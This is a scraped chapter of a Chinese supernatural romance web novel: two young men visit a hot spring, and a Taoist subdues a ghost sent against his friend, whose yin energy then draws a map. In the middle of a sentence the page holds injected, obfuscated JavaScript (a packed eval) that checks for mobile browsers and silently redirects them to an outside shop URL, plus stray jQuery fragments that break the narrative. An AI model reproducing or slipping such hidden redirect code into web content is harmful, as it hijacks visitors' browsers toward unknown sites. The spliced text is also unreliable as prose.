文趣网 > 其他小说 > 阴间的鬼请矜持一点! > 24. 温泉时刻
    这通折腾回来,天色都暗了大半,俩人正好赶上自助晚餐。

    都是些朴素的农家菜,但胜在食材新鲜,客人又饿得够呛,愣是上演了一场风卷残云、狼吞虎咽。

    “现在的年轻人,胃口真好!”服务大姐啧啧赞叹。

    一整天,爬了两段山路,腿确实有些酸痛。

    两人稍事歇息,回屋换上泳裤,披着浴巾前往公共温泉池。

    池子有两个,一个大池子是普通的温泉,还有一个是滚烫的艾草泉,四十二度起步,能把人烫成红彤彤的焖蹄子。

    大可不必烫掉一层皮。

    俩人领上两听快乐水,踩着台阶慢慢滑入水中,坐在大池子里。

    热水暖洋洋的,流动着,包裹着酸痛的肌肉,像是驱散了身体里的寒气,温暖到骨头缝里,还真是舒服。

    舒服得让人想把头也埋进去,缓解一下今天受到几次惊吓的脑袋瓜。

    不多会儿,宋放歌懒懒地睁开眼睛,看向身旁仍然在闭目养神的林舒啸。

    整个肩膀都埋在水里,只有一小段挺拔如天鹅颈的脖子浮出水面,喉结微微耸动,托着那拥有着吹弹可破的小脸蛋、湿哒哒的头发、圆润粉红色耳垂的聪明脑袋。

    有种想在他的脖子上咬一口的冲动。

    应该是又软又弹的口感吧。透着可爱、优雅与无法抗拒。

    啧。

    视线缓缓下移。

    可惜这里的灯光比较昏暗,水虽然是透明的,但再往下也只能看到动人的锁骨与轻微起伏的胸膛……毫无瑕疵。

    宋放歌道心又动了,咬着吸管,冰凉的快乐水很快就见了底。

    “小林哥……”

    “唔……”林舒啸低低应声,含混不清。

    “我再去给你拿一听快乐水?”

    隐约的雾气中,挂着水珠的睫毛慢慢眨动几下,赤红的唇微微开合,热水中缓缓伸出一只纤瘦的略带薄红的手来,拿起岸上的饮料罐,轻轻摇晃,“我的还没怎么喝。”

    “好吧,那我去一下。”

    由于房间里有私汤,来这个公共温泉的人并不多,三两成群的,两只手就能数清。

    宋放歌抬头看向挂表,好像说温泉不要泡太久来着?

    他回到原位,轻轻拍拍已经坐起来,把肩膀露在水上的林舒啸。

    “小林哥,要不要上来一会儿?别头晕了。”

    “舒服……”

    身体似乎更软了,仿佛微醺,面色绯红,拿快乐水的姿势都变得缓慢而慵懒。

    想捏。

    宋放歌下了一级台阶,俯身,用快乐水在他的脸上轻轻碰去,“小林哥,别泡太久。”

    像猫咪一样的懒散的双眼顿时睁开条缝,下意识地躲了躲。

    “小道士……我有点……腿软。”

    宋放歌连忙放下手里的东西,自然而然搀住他的胳膊,微凉的皮肤贴近冒着热气的人。

    “坐上来吹吹风,会好些吗?”

    “我没事……”

    腿软软的,身体也沉甸甸的,头有点晕乎乎的,可能是泡久了吧。但是身子确实很舒服……就是……想睡觉。

    林舒啸在搀扶下慢慢往岸上挪。

    山里的风微微有点凉,但身边还是温温的,暖暖的。

    忍不住往暖宝宝靠了靠。

    “小林哥……不然我们回去?”被靠住的宋放歌无奈地顶住几乎要化成史莱姆的林舒啸,琢磨着能不能把人公主抱回去。

    好在上岸之后没那么闷,水汽被偶尔的山风吹散,林舒啸也清醒些许,一抬胳膊,闷了剩下的半罐快乐水,长吐一口气。

    “呼,舒坦,回去睡觉吧。”

    他扭过头,看见那担心的小眼神,还有……架在胳膊下面的胳膊,和几乎贴着自己后背,头顶的发髻有些散乱的小道士,心头微微一滞。

    虽说也不是没有一起洗澡过,嗯,小学时是有的吧……但也很多年了……

    小道士不光长高了,还有肌肉,啧。

    好像是有点泡得晕乎乎了。

    “不用扶我,我会走路。”林舒啸晃晃悠悠地站起来,还是摁了摁宋放歌的小臂。

    结实,还有几道伤疤。

    宋放歌给他披上浴巾,轻轻地在他背后抱了一下,趁机吸口后脖颈子的热气。

    一路上跌跌撞撞,有惊无险。

    回到屋里,林舒啸被喂了些水之后,胡乱刷过牙,躺在床上。

    “下回泡温泉……再叫上我。”

    暖洋洋的真的超级棒!以前怎么都没发现呢?

    没多会儿,他的呼吸就变得深沉绵长,渐渐熟睡。

    宋放歌收拾好,爬到自己床上,轻手轻脚地关上灯。

    “晚安,小林哥。”

    ——早晚要和你睡一张床。

    而陷入梦境的林舒啸,犹然泡在温泉池中,只觉得浑身冰冷被驱散,还有柔软的拥抱让他格外安心。

    像是坠入一朵云。

    好想让温暖再久一些。

    小道士,再给我抱一下……我还不想变冷啊。

    .

    次日清晨,身体仍旧有些沉重,甚至手指头都动不得。

    林舒啸记不太清昨晚发生的事儿了,做梦没有都不记得。

    但昨晚好像发生了什么。

    他慢慢睁开眼睛,蓦地对上一双还没睡醒的疲惫的狗狗眼。

    见鬼,怎么和小道士滚到一张床上了?!

    “早安,小林哥。”宋放歌慢慢坐起来,把被子上的符纸一掀,攒吧攒吧丢开,“你啊,半夜不踏实,还漏气。”

    林舒啸困惑。

    漏气?我又不是充气人偶我跟哪儿漏呢?而且我这么累,根本就是灌了铅,哪能不踏实,那分明是睡得“瓷实”!

    “小林哥,有人盯上你的阴气,半夜向你作法,我可是劳累了一宿,给你拼死抵抗呢。”宋放歌委屈地眨眨眼,扒开自己的袖子,继续哀怨道,“你还捶了我一拳头……”

    仔细看看,他胳膊上还真有个红印似的。

    “一定是你晚上不老实……我可不会无缘无故捶人。”林舒啸撇嘴,挪挪身子,嘴硬得像鸭子,哪里肯承认。

    林舒啸有所不知,他确实大晚上折腾来着,只是被掩盖了记忆。

    昨夜阴气大盛,林舒啸体内的阴气也躁动不安。有只鬼循着术士的指示,摸到了酒店。

    宋放歌第一时间反应过来,拿剑鞘给了他一个大比兜,让他在墙上弹射后摔到浴槽里。

    可那男鬼像是不怕疼似的,不疾不徐不声不响,捡起落在地上的木棍再次靠了过来,甚至和林舒啸的阴气产生了共鸣。

    黑雾绞在一起。

    那是个青年,浑身都透着的紫黑色淤青,像是经过了不少意外的磕磕碰碰。

    什么头顶少了一片头发,胳膊肘摔得血肉模糊,小臂起了个大泡,小腿骨前侧被磕紫,脚下似乎还踩了一坨便便,吧唧吧唧地响。

    脸熟。宋放歌总觉得在哪里见过他。

    这鬼虽然毫无意识,但能精确地识

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751288|209427||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    别方向,行动僵硬,必定是有人驱使。

    他手中的木棍一头被火燎得黢黑,一头绑了根塑料绳……是拖把棍儿!

    宋放歌心念电闪,顿时倒吸冷气。

    难道是那天清明,小林哥扒拉火堆用的拖把棍儿?这鬼东西怎么捡了这?

    林舒啸突然坐起来,抱着胳膊,哆哆嗦嗦地开始梦游,体内的阴气也窜得老高,整间屋子被淡淡的黑气笼罩。

    前有鬼,后有捣蛋鬼,宋放歌连忙隔空画符,先定住自己人,再给男鬼一下。

    桃木剑出鞘,凝道家真气,向男鬼头顶猛然劈去。

    当——金光闪烁,竟是有人给男鬼施了保护的术法,让他刀枪不入,这桃木剑居然也难奈何。

    “小小鬼怪,安敢造次!”宋放歌又是画符,又是掐指诀,借了路过阴差的力量,花上大半宿时间,硬生生把这鬼制服,收到葫芦中去。

    “小道士,这鬼已经没有自己的魂在,以行尸走肉的状态受人奴役,身负极阴之气,来历蹊跷,不如让我带去给判官老爷决断。”阴差耍个滑头,想要偷桃。

    宋放歌叹口气,“阴差老爷,非我不想,而是这鬼,锁也锁不住,砍也砍不动,若非这雷击枣木的葫芦有真师庇佑,亦有判官封印,你我可不是他的对手。但这葫芦是阳间物件,若是带去了阴间,恐怕于你我多有不便。”

    阴差嘬嘬牙花子,“行吧,那算你欠我一个人情,回头有机会请我吃饭啊。”

    “得嘞,谢谢您嘞!”宋放歌松口气。

    送走阴差后,他亲手把林舒啸送回被窝,封了个安睡符。

    半晌,他又加了个清心净念符,让睡梦中的人彻底忘记负面的梦境。

    空中仍旧聚集着大团的,来自于林舒啸的阴气。宋放歌仰头沉吟,猛然发觉这是一副地图,仿佛黑白色的“千里江山图”,指向西亭山脚下的某处隐蔽角落。

    莫非……和案情有关?

    他小心翼翼地用符咒引动阴气,一丝一缕地还回林舒啸体内。

    虽说阴阳对立,但若是一方骤然亏空,总是弊大于利。

    宋放歌忙完,可不能放弃这个大好机会,干脆躺到林舒啸身边,安安静静看他的侧颜。

    并不是第一次在他睡熟时偷看,只觉得睡前如果能看到他平安无忧,睡觉时也会做美梦。

    从什么时候开始,想要帮小林哥哥的无私心情,变成了慰藉自己的占有欲呢?

    林舒啸一无所知。

    “小林哥,你晚上用阴气画出了一张地图。”

    什么画地图?多大年纪了……

    林舒啸微怔。别说,他现在的脑子里还真有一副莫名其妙的风景画。偏偏有个巨大的箭头指向了山脚的房子。

    房子的结构绘制得清清楚楚,是农家院那种小平房,砖块整齐地垒着,凹凸的顶板上铺了迷彩的挂饰,在茂密的树林中藏得很深。

    “这是什么地图?”

    宋放歌摇摇头,“我怀疑和这个案子有关,比如……杀人凶手的位置。”

    林舒啸坐在床头,眯着眼睛。

    “我的阴气为什么会知道凶手的位置?”

    “小林哥的阴气之霸道、香甜、精纯,足以秒杀其他阴魂,也因此,能觉察阴气的动荡与白天接触的阴气残留也理所当然。”宋放歌深深地看着他,情绪杂糅,“这是令人艳羡的,也是诸多危机的源头。”

    天将降大任于是人也——林舒啸苦涩地捏捏眉心。

    “所以……我们要去阴气指引的地方吗?”